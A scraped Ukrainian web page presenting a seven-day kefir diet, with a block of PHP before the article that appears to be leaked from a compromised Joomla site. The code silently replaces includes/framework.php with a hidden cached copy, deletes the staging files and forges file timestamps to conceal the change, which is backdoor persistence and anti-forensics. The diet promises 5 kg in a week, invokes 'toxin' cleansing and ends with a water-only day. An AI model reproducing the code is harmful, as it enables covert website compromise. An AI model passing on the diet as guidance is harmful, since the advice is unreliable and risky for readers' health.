$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } Кефірна дієта | Спортивне харчування - успіх у бодібілдингу та пауерліфтингу

Кефірна дієта

Є люди, які вважають, що молоко і молочні продукти шкідливі, нібито вони якимось чином склеюють стінки шлунка. Це не правда! Для людини молоко і продукти з нього просто необхідні, тому що вони містять кальцій. А кальцій, як відомо, це і міцні кістки та здорові і красиві зуби. Кефірна дієта, про яку піде мова, розрахована на тиждень.

Але перед початком даного курсу, для більшої ефективності, варто очистити свій організм від шлаків. Крім того, на протязі всього курсу, крім нижче згаданих страв, більше нічого їсти неможна. І ще одне, забудьте на цей тиждень про існування цукру та солі. З кефірною дієтою ви зможете позбутися до 5 кг зайвої ваги.

А тепер безпосередньо про саму кефірну дієту:

День перший (починати завжди важко) – почніть з п'яти варених картоплин і півлітра кефіру;

День другий (голод не тітка, можуть почати снитися тістечка, шоколад тощо) - 100 грамів вареного м'яса курки і знову півлітра кефіру;

День третій (майже звикли, але сни про їжу стають все більш реалістичнішими) - 100 грамів вареного м'яса і ті ж півлітра кефіру;

День четвертий (на планеті майже 1,5 мільярда людей щоденно не доїдають; нам би те, що вони не доїдають) - 100 грамів вареного м'яса риби і незмінна порція кефіру;

День п’ятий (все буде добре, сподіваюсь) - фрукти і овочі (окрім бананів і винограду, які є калорійними!) і півлітра кефіру (за здоров'я українських корів та доярок);

День шостий (закрийте очі і ви відчуєте, як тануть ваші зайві кілограми) – лише кефір (підтримаємо вітчизняну молочну промисловість!);

День сьомий – вода, просто мінеральна вода.

Після шостої вечора все вище перелічене не вживати!!!

 

За матеріалами Інтернет ресурсів.
 
Ефективні дієти Кефірна дієта